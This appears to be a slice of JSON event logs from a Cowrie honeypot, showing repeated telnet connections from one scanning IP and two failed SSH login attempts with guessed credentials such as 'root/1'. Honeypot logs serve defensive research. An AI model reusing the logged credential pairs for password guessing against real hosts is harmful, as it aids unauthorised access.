{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47032,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1adb06a473d","protocol":"telnet","message":"New connection: 51.161.172.108:47032 (159.203.135.109:23) [session: e1adb06a473d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.749466Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47036,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f565fc07991","protocol":"telnet","message":"New connection: 51.161.172.108:47036 (159.203.135.109:23) [session: 9f565fc07991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.782148Z"}
{"eventid":"cowrie.session.closed","duration":31.145203590393066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.840812Z","src_ip":"51.161.172.108","session":"ca93673d16ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47056,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c63ae96fa0","protocol":"telnet","message":"New connection: 51.161.172.108:47056 (159.203.135.109:23) [session: 79c63ae96fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:54.951416Z"}
{"eventid":"cowrie.session.closed","duration":31.425036191940308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.080711Z","src_ip":"51.161.172.108","session":"c0bb90fea261","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4sswOrd","message":"login attempt [ubuntu/p4sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.240724Z","src_ip":"190.108.60.101","session":"2969a9bb858e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.646726608276367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.279219Z","src_ip":"51.161.172.108","session":"a46bfc1ec819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47068,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7a5f5946ac5","protocol":"telnet","message":"New connection: 51.161.172.108:47068 (159.203.135.109:23) [session: c7a5f5946ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.329274Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47082,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c6eade9e5df","protocol":"telnet","message":"New connection: 51.161.172.108:47082 (159.203.135.109:23) [session: 4c6eade9e5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.528716Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"88c3554149d4","protocol":"telnet","message":"New connection: 51.161.172.108:47088 (159.203.135.109:23) [session: 88c3554149d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.580625Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47094,"dst_ip":"159.203.135.109","dst_port":23,"session":"1edb6f15b976","protocol":"telnet","message":"New connection: 51.161.172.108:47094 (159.203.135.109:23) [session: 1edb6f15b976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.622478Z"}
{"eventid":"cowrie.session.closed","duration":31.00911259651184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.692240Z","src_ip":"51.161.172.108","session":"f4b3e120019d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.026516914367676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.922917Z","src_ip":"51.161.172.108","session":"4144ccd3bdca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41986870765686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:55.967436Z","src_ip":"51.161.172.108","session":"43173f8a7458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47098,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5211166e733","protocol":"telnet","message":"New connection: 51.161.172.108:47098 (159.203.135.109:23) [session: a5211166e733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.040092Z"}
{"eventid":"cowrie.session.closed","duration":31.42938542366028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.140037Z","src_ip":"51.161.172.108","session":"34252b807173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289706230163574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.216299Z","src_ip":"51.161.172.108","session":"13e7d38968b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.240730047225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.278155Z","src_ip":"51.161.172.108","session":"7cab467ff497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71631622314453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.313485Z","src_ip":"51.161.172.108","session":"1fb645ac50d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97342824935913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.333681Z","src_ip":"51.161.172.108","session":"0acf1085a823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82172918319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.414066Z","src_ip":"51.161.172.108","session":"6e0c2da4f0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.433998Z","src_ip":"190.108.60.101","session":"2969a9bb858e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d0e1e48dd4","protocol":"telnet","message":"New connection: 51.161.172.108:47122 (159.203.135.109:23) [session: 46d0e1e48dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.627875Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47136,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd244ce9fc74","protocol":"telnet","message":"New connection: 51.161.172.108:47136 (159.203.135.109:23) [session: fd244ce9fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.763509Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5fcb3543c52","protocol":"telnet","message":"New connection: 51.161.172.108:47144 (159.203.135.109:23) [session: e5fcb3543c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:56.962362Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47152,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a14eee205a2","protocol":"telnet","message":"New connection: 51.161.172.108:47152 (159.203.135.109:23) [session: 3a14eee205a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.026973Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47160,"dst_ip":"159.203.135.109","dst_port":23,"session":"73626f6187cf","protocol":"telnet","message":"New connection: 51.161.172.108:47160 (159.203.135.109:23) [session: 73626f6187cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.202129Z"}
{"eventid":"cowrie.session.closed","duration":31.295197248458862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.245221Z","src_ip":"51.161.172.108","session":"18dfb0c0b032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47168,"dst_ip":"159.203.135.109","dst_port":23,"session":"12bfae19f7a1","protocol":"telnet","message":"New connection: 51.161.172.108:47168 (159.203.135.109:23) [session: 12bfae19f7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.297748Z"}
{"eventid":"cowrie.session.closed","duration":30.81044054031372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.382364Z","src_ip":"51.161.172.108","session":"19ef65d2b48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47172,"dst_ip":"159.203.135.109","dst_port":23,"session":"b77426a48777","protocol":"telnet","message":"New connection: 51.161.172.108:47172 (159.203.135.109:23) [session: b77426a48777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.514242Z"}
{"eventid":"cowrie.session.closed","duration":32.16203331947327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.617000Z","src_ip":"51.161.172.108","session":"b4fbb9d004c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47186,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df20ac2a421","protocol":"telnet","message":"New connection: 51.161.172.108:47186 (159.203.135.109:23) [session: 2df20ac2a421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.696118Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47190,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8eae14abd55","protocol":"telnet","message":"New connection: 51.161.172.108:47190 (159.203.135.109:23) [session: e8eae14abd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.927280Z"}
{"eventid":"cowrie.session.closed","duration":31.405242919921875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:57.969167Z","src_ip":"51.161.172.108","session":"bd5bb111e61d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40562,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d7f7048602","protocol":"telnet","message":"New connection: 167.99.38.72:40562 (159.203.135.109:23) [session: 92d7f7048602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.041321Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47202,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cbf5bd3fc4d","protocol":"telnet","message":"New connection: 51.161.172.108:47202 (159.203.135.109:23) [session: 4cbf5bd3fc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.052134Z"}
{"eventid":"cowrie.session.closed","duration":31.23672652244568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.296059Z","src_ip":"51.161.172.108","session":"ac54b0e9550c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.297351837158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.384442Z","src_ip":"51.161.172.108","session":"de57c43dd87e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881629705429077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.427083Z","src_ip":"51.161.172.108","session":"805ddef37432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44814395904541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.432618Z","src_ip":"51.161.172.108","session":"61e698c9c72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47210,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1f2069fb1f","protocol":"telnet","message":"New connection: 51.161.172.108:47210 (159.203.135.109:23) [session: bf1f2069fb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.664006Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47224,"dst_ip":"159.203.135.109","dst_port":23,"session":"6125e394e3ed","protocol":"telnet","message":"New connection: 51.161.172.108:47224 (159.203.135.109:23) [session: 6125e394e3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:58.966017Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47236,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2239d092126","protocol":"telnet","message":"New connection: 51.161.172.108:47236 (159.203.135.109:23) [session: c2239d092126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.133797Z"}
{"eventid":"cowrie.session.closed","duration":30.83443570137024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.175650Z","src_ip":"51.161.172.108","session":"ed57240333c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226932048797607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.196616Z","src_ip":"51.161.172.108","session":"ac361bcdfe4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48834,"dst_ip":"159.203.135.109","dst_port":23,"session":"53fec38d4981","protocol":"telnet","message":"New connection: 51.161.172.108:48834 (159.203.135.109:23) [session: 53fec38d4981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.290190Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48840,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8bda230894d","protocol":"telnet","message":"New connection: 51.161.172.108:48840 (159.203.135.109:23) [session: b8bda230894d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.568139Z"}
{"eventid":"cowrie.session.closed","duration":31.761112689971924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.736171Z","src_ip":"51.161.172.108","session":"2bf2d285f624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48854,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd0c6daec1fb","protocol":"telnet","message":"New connection: 51.161.172.108:48854 (159.203.135.109:23) [session: bd0c6daec1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.903658Z"}
{"eventid":"cowrie.session.closed","duration":32.036109924316406,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.911394Z","src_ip":"51.161.172.108","session":"536a5229a461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48868,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d57443ca8e1","protocol":"telnet","message":"New connection: 51.161.172.108:48868 (159.203.135.109:23) [session: 3d57443ca8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:59.941010Z"}
{"eventid":"cowrie.session.closed","duration":30.398213386535645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.218842Z","src_ip":"51.161.172.108","session":"f151bdffd877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099393606185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.292386Z","src_ip":"51.161.172.108","session":"d2d1adaa0562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.583818912506104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.450728Z","src_ip":"51.161.172.108","session":"b14796824103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418558835983276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.583297Z","src_ip":"51.161.172.108","session":"47cc9b16aeac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48876,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e8fd1083d85","protocol":"telnet","message":"New connection: 51.161.172.108:48876 (159.203.135.109:23) [session: 3e8fd1083d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.603860Z"}
{"eventid":"cowrie.session.closed","duration":31.65943932533264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.732861Z","src_ip":"51.161.172.108","session":"aeacd20726a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02910614013672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:00.894318Z","src_ip":"51.161.172.108","session":"456a03db8ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.352529764175415,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.038153Z","src_ip":"167.99.38.72","session":"e6f37026c6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48890,"dst_ip":"159.203.135.109","dst_port":23,"session":"e47b89b942ca","protocol":"telnet","message":"New connection: 51.161.172.108:48890 (159.203.135.109:23) [session: e47b89b942ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.215638Z"}
{"eventid":"cowrie.session.closed","duration":30.411545753479004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.272938Z","src_ip":"51.161.172.108","session":"52ba5794a0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48902,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ddaee90028b","protocol":"telnet","message":"New connection: 51.161.172.108:48902 (159.203.135.109:23) [session: 2ddaee90028b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.410337Z"}
{"eventid":"cowrie.session.closed","duration":31.55976390838623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.785667Z","src_ip":"51.161.172.108","session":"a0c394c4e6d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21731925010681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.829772Z","src_ip":"51.161.172.108","session":"38a586f7fd5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.323923110961914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.867399Z","src_ip":"51.161.172.108","session":"f745a5ddd585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48918,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c1231d92592","protocol":"telnet","message":"New connection: 51.161.172.108:48918 (159.203.135.109:23) [session: 8c1231d92592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.914959Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48934,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f655e4d6f3","protocol":"telnet","message":"New connection: 51.161.172.108:48934 (159.203.135.109:23) [session: 58f655e4d6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:01.932927Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48942,"dst_ip":"159.203.135.109","dst_port":23,"session":"59aad6e3ede2","protocol":"telnet","message":"New connection: 51.161.172.108:48942 (159.203.135.109:23) [session: 59aad6e3ede2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.191724Z"}
{"eventid":"cowrie.session.closed","duration":30.595321655273438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.336611Z","src_ip":"51.161.172.108","session":"dc063fb819de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48954,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee614a96a55","protocol":"telnet","message":"New connection: 51.161.172.108:48954 (159.203.135.109:23) [session: dee614a96a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.494359Z"}
{"eventid":"cowrie.session.closed","duration":31.135948419570923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.627447Z","src_ip":"51.161.172.108","session":"a27e5457817f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.976733207702637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.881914Z","src_ip":"51.161.172.108","session":"6f40983107e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48970,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f85e6106fc","protocol":"telnet","message":"New connection: 51.161.172.108:48970 (159.203.135.109:23) [session: 66f85e6106fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.913359Z"}
{"eventid":"cowrie.session.closed","duration":32.347511529922485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.920132Z","src_ip":"51.161.172.108","session":"a09b61430cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":43390,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dfd2b90f779","protocol":"telnet","message":"New connection: 167.99.38.72:43390 (159.203.135.109:23) [session: 7dfd2b90f779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:02.946429Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.266420Z","src_ip":"122.168.114.167","session":"3519a9e58fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":48986,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a7b1693a51","protocol":"telnet","message":"New connection: 51.161.172.108:48986 (159.203.135.109:23) [session: 81a7b1693a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.321100Z"}
{"eventid":"cowrie.session.closed","duration":31.007553815841675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.406808Z","src_ip":"51.161.172.108","session":"117103ee165d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49002,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0fd8f48cf81","protocol":"telnet","message":"New connection: 51.161.172.108:49002 (159.203.135.109:23) [session: d0fd8f48cf81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.444850Z"}
{"eventid":"cowrie.session.closed","duration":31.340338468551636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.465478Z","src_ip":"51.161.172.108","session":"1f3d5cfe8816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.721199989318848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.567480Z","src_ip":"51.161.172.108","session":"af6aaf0f9407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79608392715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:03.648658Z","src_ip":"51.161.172.108","session":"0b46ff068c19","protocol":"telnet"}
